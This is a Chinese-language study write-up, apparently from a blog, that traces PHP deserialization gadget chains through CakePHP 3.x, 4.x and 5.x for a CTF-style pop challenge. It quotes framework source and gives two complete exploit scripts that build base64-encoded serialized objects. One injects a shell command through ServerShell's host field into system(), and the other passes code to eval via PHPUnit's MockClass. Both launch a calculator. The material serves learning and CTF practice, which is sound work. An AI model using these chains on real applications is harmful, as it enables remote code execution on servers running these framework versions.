前言 之前走了走TP6.x的框架反序列化,今天学一学其他框架的 走一走cakephp三个版本的反序列化,就可以试着做一做suctf的pop题了
cakephp[v3.x] 配置环境的话直接去github上找源码就行了 入口类在vendor\Symfony\Component\Process
1 2 3 4 public function __destruct ( ) { $this ->stop (0 ); }
跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 public function stop ($timeout = 10 , $signal = null ) { $timeoutMicro = microtime (true ) + $timeout ; if ($this ->isRunning ()) { $this ->doSignal (15 , false ); do { usleep (1000 ); } while ($this ->isRunning () && microtime (true ) < $timeoutMicro ); if ($this ->isRunning ()) { $this ->doSignal ($signal ?: 9 , false ); } }}
跟进isRunning方法
1 2 3 4 5 6 7 8 9 10 public function isRunning ( ) { if (self ::STATUS_STARTED !== $this ->status) { return false ; } $this ->updateStatus (false ); return $this ->processInformation['running' ]; }
跟进updateStatus方法有前置条件,但是status可控,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected function updateStatus ($blocking ) { if (self ::STATUS_STARTED !== $this ->status) { return ; } $this ->processInformation = proc_get_status ($this ->process); $running = $this ->processInformation['running' ]; $this ->readPipes ($running && $blocking , '\\' !== \DIRECTORY_SEPARATOR || !$running ); if ($this ->fallbackStatus && $this ->isSigchildEnabled ()) { $this ->processInformation = $this ->fallbackStatus + $this ->processInformation; } if (!$running ) { $this ->close (); } }
跟进readPipes方法
1 2 3 4 5 6 7 8 9 10 11 12 13 private function readPipes (bool $blocking , bool $close ) { $result = $this ->processPipes->readAndWrite ($blocking , $close ); $callback = $this ->callback; foreach ($result as $type => $data ) { if (3 !== $type ) { $callback (self ::STDOUT === $type ? self ::OUT : self ::ERR , $data ); } elseif (!isset ($this ->fallbackStatus['signaled' ])) { $this ->fallbackStatus['exitcode' ] = (int ) $data ; } } }
这边processPipes可控,可以调用__call魔术方法 找到vendor\cakephp\cakephp\src\ORM\Table.php
命名空间:namespace Cake\ORM
1 2 3 4 5 6 7 8 9 10 11 12 13 public function __call ($method , $args ) { if ($this ->_behaviors && $this ->_behaviors->hasMethod ($method )) { return $this ->_behaviors->call ($method , $args ); } if (preg_match ('/^find(?:\w+)?By/' , $method ) > 0 ) { return $this ->_dynamicFinder ($method , $args ); } throw new BadMethodCallException ( sprintf ('Unknown method "%s"' , $method ) ); }
调用任意类的call方法 找到vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
命名空间:namespace Cake\ORM
1 2 3 4 5 6 7 8 9 10 11 12 13 public function call ($method , array $args = [] ) { $method = strtolower ($method ); if ($this ->hasMethod ($method ) && $this ->has ($this ->_methodMap[$method ][0 ])) { list ($behavior , $callMethod ) = $this ->_methodMap[$method ]; return call_user_func_array ([$this ->_loaded[$behavior ], $callMethod ], $args ); } throw new BadMethodCallException ( sprintf ('Cannot call "%s" it does not belong to any attached behavior.' , $method ) ); }
存在一个call_user_func_array,可以调用任意类的任意方法 这个时候的$method=readAndWrite
找一下它的条件
1 2 $this->hasMethod $this->has
跟进
1 2 3 4 5 6 public function hasMethod ($method ) { $method = strtolower ($method ); return isset ($this ->_methodMap[$method ]); }
$this->_methodMap参数可控,过
1 2 3 4 public function has ($name ) { return isset ($this ->_loaded[$name ]); }
$this->_loaded参数可控,于vendor\cakephp\cakephp\src\Core\ObjectRegistry.php
过 此时可以利用回调函数调用任意方法 找到 vendor\cakephp\cakephp\src\Shell\ServerShell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function main ( ) { $command = sprintf ( 'php -S %s:%d -t %s' , $this ->_host, $this ->_port, escapeshellarg ($this ->_documentRoot) ); if (!empty ($this ->_iniPath)) { $command = sprintf ('%s -c %s' , $command , $this ->_iniPath); } $command = sprintf ('%s %s' , $command , escapeshellarg ($this ->_documentRoot . '/index.php' )); $port = ':' . $this ->_port; $this ->out (sprintf ('built-in server is running in http://%s%s/' , $this ->_host, $port )); $this ->out (sprintf ('You can exit with <info>`CTRL-C`</info>' )); system ($command ); }
这里存在拼接命令注入 在执行命令之前,还得先让两个$this->out方法正常返回
1 2 3 4 5 6 7 8 9 10 public function out ($message = '' , $newlines = 1 , $level = self ::NORMAL ) { if ($level <= $this ->_level) { $this ->_lastWritten = (int )$this ->_out->write ($message , $newlines ); return $this ->_lastWritten; } return true ; }
参数可控,$this->_level<1即可 至此可以执行系统命令 当然现在关键在于如何书写exp 先把架子搭好,注意哪些值需要我们控制,哪些值有连锁反应需要特殊构造,注意哪些抽象类找到它们的子类(基于源代码去找),这种也是一种能力吧,需要锻炼 但总归学习一遍链子也是一种熟悉,再次碰到这种框架的反序列化问题就不会一头雾水了,分析一下大佬的链子 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php namespace Cake \Core ;abstract class ObjectRegistry { public $_loaded = []; } namespace Cake \ORM ;class Table { public $_behaviors ; } use Cake \Core \ObjectRegistry ;class BehaviorRegistry extends ObjectRegistry { public $_methodMap = []; } namespace Cake \Console ;class Shell { public $_io ; } class ConsoleIo { public $_level ; } namespace Cake \Shell ;use Cake \Console \Shell ;class ServerShell extends Shell { public $_host ; protected $_port = 0 ; protected $_documentRoot = "" ; protected $_iniPath = "" ; } namespace Symfony \Component \Process ;use Cake \ORM \Table ;class Process { public $processPipes ; } $pop = new Process ([]);$pop ->status = "started" ;$pop ->processPipes = new Table ();$pop ->processPipes->_behaviors = new \Cake \ORM\BehaviorRegistry ();$pop ->processPipes->_behaviors->_methodMap = ["readandwrite" =>["servershell" ,"main" ]];$a = new \Cake\Shell\ServerShell ();$a ->_io = new \Cake\Console\ConsoleIo ();$a ->_io->_level = 0 ;$a ->_host = ";open /System/Applications/Calculator.app;" ;$pop ->processPipes->_behaviors->_loaded = ["servershell" =>$a ];echo base64_encode (serialize ($pop ));
这样成功弹计算器了 有时候源码里已经有引用了,比如A类里引用了B类,可以直接把B类里的属性写在A类里
cakephp[v4.x] 该链ServerShell改动,因此寻找新的RCE点 即找到新的方法RCE,我们有回调函数可以接上vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php
1 2 3 4 5 6 7 public function fetch ($type = parent ::FETCH_TYPE_NUM ) { $callback = $this ->_callback; $row = $this ->_statement->fetch ($type ); return $row === false ? $row : $callback ($row ); }
存在任意函数执行$callback
参数可控$this->_statement
来自vendor/cakephp/cakephp/src/Database/Statement/StatementDecorator.php
跟进需要找到一个类里面有fetch方法返回可控的row值vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function fetch ($type = self ::FETCH_TYPE_NUM ) { if ($this ->_allFetched) { $row = false ; if (isset ($this ->buffer[$this ->index])) { $row = $this ->buffer[$this ->index]; } $this ->index += 1 ; if ($row && $type === static ::FETCH_TYPE_NUM ) { return array_values ($row ); } return $row ; }
_allFetched,buffer,index参数可,即可控$row值 exp稍有改动,问题不大 对于一个新版本可以看哪些旧版本的部分链子没有改动可以利用,再看看入口方法,再用seay扫一扫,然后本地一边搭一边调试
cakephp[v5.x] 以一道pop题学习吧
还是找到老地方Process.php 但是发现在这个版本新增了一个__wakeup方法,直接抛出错误,只能寻找新的入口类了 发现终点类是MockClass里的generate方法->eval() 关键就是找到入口类触发Table类里的__call方法? 找到一个析构函数React\Promise\InternalRejectedPromise::__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function __destruct ( ) { if ($this ->handled) { return ; } $handler = set_rejection_handler (null ); if ($handler === null ) { $message = 'Unhandled promise rejection with ' . $this ->reason; \error_log ($message ); return ; } try { $handler ($this ->reason); } catch (\Throwable $e ) { \preg_match ('/^([^:\s]++)(.*+)$/sm' , (string ) $e , $match ); \assert (isset ($match [1 ], $match [2 ])); $message = 'Fatal error: Uncaught ' . $match [1 ] . ' from unhandled promise rejection handler' . $match [2 ]; \error_log ($message ); exit (255 ); } }
进行了字符拼接,可以触发toString方法Cake\Http\Response
1 2 3 4 5 6 public function __toString ( ): string { $this ->stream->rewind (); return $this ->stream->getContents (); }
可以调用__call方法,至此完成闭合,开始写payload exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php namespace PHPUnit \Framework \MockObject \Generator ;class MockClass { public function __construct ( ) { $this ->mockName = "PHPUnit\\Framework\\MockObject\\Generator\\MockMethodSet" ; $this ->classCode = "system('calc');" ; } } namespace Cake \ORM ;use PHPUnit \Framework \MockObject \Generator \MockClass ;class BehaviorRegistry { public function __construct ( ) { $this ->_loaded = ["1" =>new MockClass ()]; $this ->_methodMap = ["rewind" =>["1" ,"generate" ]]; } } namespace Cake \ORM ;use Cake \ORM \BehaviorRegistry ;class Table { public function __construct ( ) { $this ->_behaviors = new BehaviorRegistry (); } } namespace Cake \Http ;use Cake \ORM \Table ;class Response { public function __construct ( ) { $this ->stream = new Table (); } } namespace React \Promise \Internal ;use Cake \Http \Response ;class RejectedPromise { public function __construct ( ) { $this ->reason = new Response (); } } $p = new RejectedPromise ();echo $ser = base64_encode (serialize ($p ));
ending~ 没啥巧,多做框架的链子就行()